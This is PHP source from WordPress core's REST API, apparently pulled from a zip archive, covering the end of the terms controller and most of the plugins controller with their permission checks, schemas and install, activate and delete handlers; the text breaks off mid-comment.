*/ do_action( "rest_insert_{$this->taxonomy}", $term, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single term is completely created or updated via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_after_insert_category` * - `rest_after_insert_post_tag` * * @since 5.0.0 * * @param WP_Term $term Inserted or updated term object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a term, false when updating. */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true ); $response = $this->prepare_item_for_response( $term, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) ); return $response; } /** * Checks if a request has access to update the specified term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, false or WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( ! current_user_can( 'edit_term', $term->term_id ) ) { return new WP_Error( 'rest_cannot_update', __( 'Sorry, you are not allowed to edit this term.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a single term from a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = get_term( (int) $request['parent'], $this->taxonomy ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); // Only update the term if we have something to update. if ( ! empty( $prepared_term ) ) { $update = wp_update_term( $term->term_id, $term->taxonomy, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $update ) ) { return $update; } } $term = get_term( $term->term_id, $this->taxonomy ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_insert_{$this->taxonomy}", $term, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false ); $response = $this->prepare_item_for_response( $term, $request ); return rest_ensure_response( $response ); } /** * Checks if a request has access to delete the specified term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, otherwise false or WP_Error object. */ public function delete_item_permissions_check( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( ! current_user_can( 'delete_term', $term->term_id ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this term.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single term from a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for terms. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "Terms do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $request->set_param( 'context', 'view' ); $previous = $this->prepare_item_for_response( $term, $request ); $retval = wp_delete_term( $term->term_id, $term->taxonomy ); if ( ! $retval ) { return new WP_Error( 'rest_cannot_delete', __( 'The term cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** * Fires after a single term is deleted via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_delete_category` * - `rest_delete_post_tag` * * @since 4.7.0 * * @param WP_Term $term The deleted term. * @param WP_REST_Response $response The response data. * @param WP_REST_Request $request The request sent to the API. */ do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request ); return $response; } /** * Prepares a single term for create or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return object Term object. */ public function prepare_item_for_database( $request ) { $prepared_term = new stdClass(); $schema = $this->get_item_schema(); if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) { $prepared_term->name = $request['name']; } if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) { $prepared_term->slug = $request['slug']; } if ( isset( $request['taxonomy'] ) && ! empty( $schema['properties']['taxonomy'] ) ) { $prepared_term->taxonomy = $request['taxonomy']; } if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) { $prepared_term->description = $request['description']; } if ( isset( $request['parent'] ) && ! empty( $schema['properties']['parent'] ) ) { $parent_term_id = 0; $requested_parent = (int) $request['parent']; if ( $requested_parent ) { $parent_term = get_term( $requested_parent, $this->taxonomy ); if ( $parent_term instanceof WP_Term ) { $parent_term_id = $parent_term->term_id; } } $prepared_term->parent = $parent_term_id; } /** * Filters term data before inserting term via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_pre_insert_category` * - `rest_pre_insert_post_tag` * * @since 4.7.0 * * @param object $prepared_term Term object. * @param WP_REST_Request $request Request object. */ return apply_filters( "rest_pre_insert_{$this->taxonomy}", $prepared_term, $request ); } /** * Prepares a single term output for response. * * @since 4.7.0 * * @param WP_Term $item Term object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ return apply_filters( "rest_prepare_{$this->taxonomy}", new WP_REST_Response( array() ), $item, $request ); } $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'id', $fields, true ) ) { $data['id'] = (int) $item->term_id; } if ( in_array( 'count', $fields, true ) ) { $data['count'] = (int) $item->count; } if ( in_array( 'description', $fields, true ) ) { $data['description'] = $item->description; } if ( in_array( 'link', $fields, true ) ) { $data['link'] = get_term_link( $item ); } if ( in_array( 'name', $fields, true ) ) { $data['name'] = $item->name; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $item->slug; } if ( in_array( 'taxonomy', $fields, true ) ) { $data['taxonomy'] = $item->taxonomy; } if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $item->parent; } if ( in_array( 'meta', $fields, true ) ) { $data['meta'] = $this->meta->get_value( $item->term_id, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $item ) ); } /** * Filters the term data for a REST API response. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_prepare_category` * - `rest_prepare_post_tag` * * Allows modification of the term data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Term $item The original term object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $item, $request ); } /** * Prepares links for the request. * * @since 4.7.0 * * @param WP_Term $term Term object. * @return array Links for the given term. */ protected function prepare_links( $term ) { $links = array( 'self' => array( 'href' => rest_url( rest_get_route_for_term( $term ) ), ), 'collection' => array( 'href' => rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) ), ), 'about' => array( 'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $this->taxonomy ) ), ), ); if ( $term->parent ) { $parent_term = get_term( (int) $term->parent, $term->taxonomy ); if ( $parent_term ) { $links['up'] = array( 'href' => rest_url( rest_get_route_for_term( $parent_term ) ), 'embeddable' => true, ); } } $taxonomy_obj = get_taxonomy( $term->taxonomy ); if ( empty( $taxonomy_obj->object_type ) ) { return $links; } $post_type_links = array(); foreach ( $taxonomy_obj->object_type as $type ) { $rest_path = rest_get_route_for_post_type_items( $type ); if ( empty( $rest_path ) ) { continue; } $post_type_links[] = array( 'href' => add_query_arg( $this->rest_base, $term->term_id, rest_url( $rest_path ) ), ); } if ( ! empty( $post_type_links ) ) { $links['https://api.w.org/post_type'] = $post_type_links; } return $links; } /** * Retrieves the term's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy, 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the term.' ), 'type' => 'integer', 'context' => array( 'view', 'embed', 'edit' ), 'readonly' => true, ), 'count' => array( 'description' => __( 'Number of published posts for the term.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'HTML description of the term.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), ), 'link' => array( 'description' => __( 'URL of the term.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'embed', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'HTML title for the term.' ), 'type' => 'string', 'context' => array( 'view', 'embed', 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), 'required' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the term unique to its type.' ), 'type' => 'string', 'context' => array( 'view', 'embed', 'edit' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'sanitize_slug' ), ), ), 'taxonomy' => array( 'description' => __( 'Type attribution for the term.' ), 'type' => 'string', 'enum' => array( $this->taxonomy ), 'context' => array( 'view', 'embed', 'edit' ), 'readonly' => true, ), ), ); $taxonomy = get_taxonomy( $this->taxonomy ); if ( $taxonomy->hierarchical ) { $schema['properties']['parent'] = array( 'description' => __( 'The parent term ID.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $taxonomy = get_taxonomy( $this->taxonomy ); $query_params['context']['default'] = 'view'; $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); if ( ! $taxonomy->hierarchical ) { $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); } $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'asc', 'enum' => array( 'asc', 'desc', ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by term attribute.' ), 'type' => 'string', 'default' => 'name', 'enum' => array( 'id', 'include', 'name', 'slug', 'include_slugs', 'term_group', 'description', 'count', ), ); $query_params['hide_empty'] = array( 'description' => __( 'Whether to hide terms not assigned to any posts.' ), 'type' => 'boolean', 'default' => false, ); if ( $taxonomy->hierarchical ) { $query_params['parent'] = array( 'description' => __( 'Limit result set to terms assigned to a specific parent.' ), 'type' => 'integer', ); } $query_params['post'] = array( 'description' => __( 'Limit result set to terms assigned to a specific post.' ), 'type' => 'integer', 'default' => null, ); $query_params['slug'] = array( 'description' => __( 'Limit result set to terms with one or more specific slugs.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); /** * Filters collection parameters for the terms controller. * * The dynamic part of the filter `$this->taxonomy` refers to the taxonomy * slug for the controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_Term_Query parameter. Use the * `rest_{$this->taxonomy}_query` filter to set WP_Term_Query parameters. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. * @param WP_Taxonomy $taxonomy Taxonomy object. */ return apply_filters( "rest_{$this->taxonomy}_collection_params", $query_params, $taxonomy ); } /** * Checks that the taxonomy is valid. * * @since 4.7.0 * * @param string $taxonomy Taxonomy to check. * @return bool Whether the taxonomy is allowed for REST management. */ protected function check_is_taxonomy_allowed( $taxonomy ) { $taxonomy_obj = get_taxonomy( $taxonomy ); if ( $taxonomy_obj && ! empty( $taxonomy_obj->show_in_rest ) ) { return true; } return false; } } PK�������!�|.qqo��qo��$��class-wp-rest-plugins-controller.phpnu�[��������<?php /** * REST API: WP_REST_Plugins_Controller class * * @package WordPress * @subpackage REST_API * @since 5.5.0 */ /** * Core class to access plugins via the REST API. * * @since 5.5.0 * * @see WP_REST_Controller */ class WP_REST_Plugins_Controller extends WP_REST_Controller { const PATTERN = '[^.\/]+(?:\/[^.\/]+)?'; /** * Plugins controller constructor. * * @since 5.5.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'plugins'; } /** * Registers the routes for the plugins controller. * * @since 5.5.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => array( 'slug' => array( 'type' => 'string', 'required' => true, 'description' => __( 'WordPress.org plugin directory slug.' ), 'pattern' => '[\w\-]+', ), 'status' => array( 'description' => __( 'The plugin activation status.' ), 'type' => 'string', 'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ), 'default' => 'inactive', ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<plugin>' . self::PATTERN . ')', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'plugin' => array( 'type' => 'string', 'pattern' => self::PATTERN, 'validate_callback' => array( $this, 'validate_plugin_param' ), 'sanitize_callback' => array( $this, 'sanitize_plugin_param' ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_view_plugins', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a collection of plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugins = array(); foreach ( get_plugins() as $file => $data ) { if ( is_wp_error( $this->check_read_permission( $file ) ) ) { continue; } $data['_file'] = $file; if ( ! $this->does_plugin_match_request( $request, $data ) ) { continue; } $plugins[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $data, $request ) ); } return new WP_REST_Response( $plugins ); } /** * Checks if a given request has access to get a specific plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_view_plugin', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } $can_read = $this->check_read_permission( $request['plugin'] ); if ( is_wp_error( $can_read ) ) { return $can_read; } return true; } /** * Retrieves one plugin from the site. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $data = $this->get_plugin_data( $request['plugin'] ); if ( is_wp_error( $data ) ) { return $data; } return $this->prepare_item_for_response( $data, $request ); } /** * Checks if the given plugin can be viewed by the current user. * * On multisite, this hides non-active network only plugins if the user does not have permission * to manage network plugins. * * @since 5.5.0 * * @param string $plugin The plugin file to check. * @return true|WP_Error True if can read, a WP_Error instance otherwise. */ protected function check_read_permission( $plugin ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; if ( ! $this->is_plugin_installed( $plugin ) ) { return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) ); } if ( ! is_multisite() ) { return true; } if ( ! is_network_only_plugin( $plugin ) || is_plugin_active( $plugin ) || current_user_can( 'manage_network_plugins' ) ) { return true; } return new WP_Error( 'rest_cannot_view_plugin', __( 'Sorry, you are not allowed to manage this plugin.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to upload plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! current_user_can( 'install_plugins' ) ) { return new WP_Error( 'rest_cannot_install_plugin', __( 'Sorry, you are not allowed to install plugins on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'inactive' !== $request['status'] && ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_activate_plugin', __( 'Sorry, you are not allowed to activate plugins.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Uploads a plugin and optionally activates it. * * @since 5.5.0 * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { global $wp_filesystem; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $slug = $request['slug']; // Verify filesystem is accessible first. $filesystem_available = $this->is_filesystem_available(); if ( is_wp_error( $filesystem_available ) ) { return $filesystem_available; } $api = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false, 'language_packs' => true, ), ) ); if ( is_wp_error( $api ) ) { if ( str_contains( $api->get_error_message(), 'Plugin not found.' ) ) { $api->add_data( array( 'status' => 404 ) ); } else { $api->add_data( array( 'status' => 500 ) ); } return $api; } $skin = new WP_Ajax_Upgrader_Skin(); $upgrader = new Plugin_Upgrader( $skin ); $result = $upgrader->install( $api->download_link ); if ( is_wp_error( $result ) ) { $result->add_data( array( 'status' => 500 ) ); return $result; } // This should be the same as $result above. if ( is_wp_error( $skin->result ) ) { $skin->result->add_data( array( 'status' => 500 ) ); return $skin->result; } if ( $skin->get_errors()->has_errors() ) { $error = $skin->get_errors(); $error->add_data( array( 'status' => 500 ) ); return $error; } if ( is_null( $result ) ) { // Pass through the error from WP_Filesystem if one was raised. if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) { return new WP_Error( 'unable_to_connect_to_filesystem', $wp_filesystem->errors->get_error_message(), array( 'status' => 500 ) ); } return new WP_Error( 'unable_to_connect_to_filesystem', __( 'Unable to connect to the filesystem. Please confirm your credentials.' ), array( 'status' => 500 ) ); } $file = $upgrader->plugin_info(); if ( ! $file ) { return new WP_Error( 'unable_to_determine_installed_plugin', __( 'Unable to determine what plugin was installed.' ), array( 'status' => 500 ) ); } if ( 'inactive' !== $request['status'] ) { $can_change_status = $this->plugin_status_permission_check( $file, $request['status'], 'inactive' ); if ( is_wp_error( $can_change_status ) ) { return $can_change_status; } $changed_status = $this->handle_plugin_status( $file, $request['status'], 'inactive' ); if ( is_wp_error( $changed_status ) ) { return $changed_status; } } // Install translations. $installed_locales = array_values( get_available_languages() ); /** This filter is documented in wp-includes/update.php */ $installed_locales = apply_filters( 'plugins_update_check_locales', $installed_locales ); $language_packs = array_map( static function ( $item ) { return (object) $item; }, $api->language_packs ); $language_packs = array_filter( $language_packs, static function ( $pack ) use ( $installed_locales ) { return in_array( $pack->language, $installed_locales, true ); } ); if ( $language_packs ) { $lp_upgrader = new Language_Pack_Upgrader( $skin ); // Install all applicable language packs for the plugin. $lp_upgrader->bulk_upgrade( $language_packs ); } $path = WP_PLUGIN_DIR . '/' . $file; $data = get_plugin_data( $path, false, false ); $data['_file'] = $file; $response = $this->prepare_item_for_response( $data, $request ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $file, 0, - 4 ) ) ) ); return $response; } /** * Checks if a given request has access to update a specific plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_plugins', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } $can_read = $this->check_read_permission( $request['plugin'] ); if ( is_wp_error( $can_read ) ) { return $can_read; } $status = $this->get_plugin_status( $request['plugin'] ); if ( $request['status'] && $status !== $request['status'] ) { $can_change_status = $this->plugin_status_permission_check( $request['plugin'], $request['status'], $status ); if ( is_wp_error( $can_change_status ) ) { return $can_change_status; } } return true; } /** * Updates one plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $data = $this->get_plugin_data( $request['plugin'] ); if ( is_wp_error( $data ) ) { return $data; } $status = $this->get_plugin_status( $request['plugin'] ); if ( $request['status'] && $status !== $request['status'] ) { $handled = $this->handle_plugin_status( $request['plugin'], $request['status'], $status ); if ( is_wp_error( $handled ) ) { return $handled; } } $this->update_additional_fields_for_object( $data, $request ); $request['context'] = 'edit'; return $this->prepare_item_for_response( $data, $request ); } /** * Checks if a given request has access to delete a specific plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_plugins', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( 'delete_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_plugins', __( 'Sorry, you are not allowed to delete plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } $can_read = $this->check_read_permission( $request['plugin'] ); if ( is_wp_error( $can_read ) ) { return $can_read; } return true; } /** * Deletes one plugin from the site. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; $data = $this->get_plugin_data( $request['plugin'] ); if ( is_wp_error( $data ) ) { return $data; } if ( is_plugin_active( $request['plugin'] ) ) { return new WP_Error( 'rest_cannot_delete_active_plugin', __( 'Cannot delete an active plugin. Please deactivate it first.' ), array( 'status' => 400 ) ); } $filesystem_available = $this->is_filesystem_available(); if ( is_wp_error( $filesystem_available ) ) { return $filesystem_available; } $prepared = $this->prepare_item_for_response( $data, $request ); $deleted = delete_plugins( array( $request['plugin'] ) ); if ( is_wp_error( $deleted ) ) { $deleted->add_data( array( 'status' => 500 ) ); return $deleted; } return new WP_REST_Response( array( 'deleted' => true, 'previous' => $prepared->get_data(), ) ); } /** * Prepares the plugin for the REST response. * * @since 5.5.0 * * @param array $item Unmarked up and untranslated plugin data from {@see get_plugin_data()}. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $item = _get_plugin_data_markup_translate( $item['_file'], $item, false ); $marked = _get_plugin_data_markup_translate( $item['_file'], $item, true ); $data = array( 'plugin' => substr( $item['_file'], 0, - 4 ), 'status' => $this->get_plugin_status( $item['_file'] ), 'name' => $item['Name'], 'plugin_uri' => $item['PluginURI'], 'author' => $item['Author'], 'author_uri' => $item['AuthorURI'], 'description' => array( 'raw' => $item['Description'], 'rendered' => $marked['Description'], ), 'version' => $item['Version'], 'network_only' => $item['Network'], 'requires_wp' => $item['RequiresWP'], 'requires_php' => $item['RequiresPHP'], 'textdomain' => $item['TextDomain'], ); $data = $this->add_additional_fields_to_object( $data, $request ); $response = new WP_REST_Response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $item ) ); } /** * Filters plugin data for a REST API response. * * @since 5.5.0 * * @param WP_REST_Response $response The response object. * @param array $item The plugin item from {@see get_plugin_data()}. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_plugin', $response, $item, $request ); } /** * Prepares links for the request. * * @since 5.5.0 * * @param array $item The plugin item. * @return array[] */ protected function prepare_links( $item ) { return array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $item['_file'], 0, - 4 ) ) ), ), ); } /** * Gets the plugin header data for a plugin. * * @since 5.5.0 * * @param string $plugin The plugin file to get data for. * @return array|WP_Error The plugin data, or a WP_Error if the plugin is not installed. */ protected function get_plugin_data( $plugin ) { $plugins = get_plugins(); if ( ! isset( $plugins[ $plugin ] ) ) { return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) ); } $data = $plugins[ $plugin ]; $data['_file'] = $plugin; return $data; } /** * Get's the activation status for a plugin. * * @since 5.5.0 * * @param string $plugin The plugin file to check. * @return string Either 'network-active', 'active' or 'inactive'. */ protected function get_plugin_status( $plugin ) { if ( is_plugin_active_for_network( $plugin ) ) { return 'network-active'; } if ( is_plugin_active( $plugin ) ) { return 'active'; } return 'inactive'; } /** * Handle updating a plugin's status. * * @since 5.5.0 * * @param string $plugin The plugin file to update. * @param string $new_status The plugin's new status. * @param string $current_status The plugin's current status. * @return true|WP_Error */ protected function plugin_status_permission_check( $plugin, $new_status, $current_status ) { if ( is_multisite() && ( 'network-active' === $current_status || 'network-active' === $new_status ) && ! current_user_can( 'manage_network_plugins' ) ) { return new WP_Error( 'rest_cannot_manage_network_plugins', __( 'Sorry, you are not allowed to manage network plugins.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ( 'active' === $new_status || 'network-active' === $new_status ) && ! current_user_can( 'activate_plugin', $plugin ) ) { return new WP_Error( 'rest_cannot_activate_plugin', __( 'Sorry, you are not allowed to activate this plugin.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'inactive' === $new_status && ! current_user_can( 'deactivate_plugin', $plugin ) ) { return new WP_Error( 'rest_cannot_deactivate_plugin', __( 'Sorry, you are not allowed to deactivate this plugin.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Handle updating a plugin's status. * * @since 5.5.0 * * @param string $plugin The plugin file to update. * @param string $new_status The plugin's new status. * @param string $current_status The plugin's current status. * @return true|WP_Error */ protected function handle_plugin_status( $plugin, $new_status, $current_status ) { if ( 'inactive' === $new_status ) { deactivate_plugins( $plugin, false, 'network-active' === $current_status ); return true; } if ( 'active' === $new_status && 'network-active' === $current_status ) { return true; } $network_activate = 'network-active' === $new_status; if ( is_multisite() && ! $network_activate && is_network_only_plugin( $plugin ) ) { return new WP_Error( 'rest_network_only_plugin', __( 'Network only plugin must be network activated.' ), array( 'status' => 400 ) ); } $activated = activate_plugin( $plugin, '', $network_activate ); if ( is_wp_error( $activated ) ) { $activated->add_data( array( 'status' => 500 ) ); return $activated; } return true; } /** * Checks that the 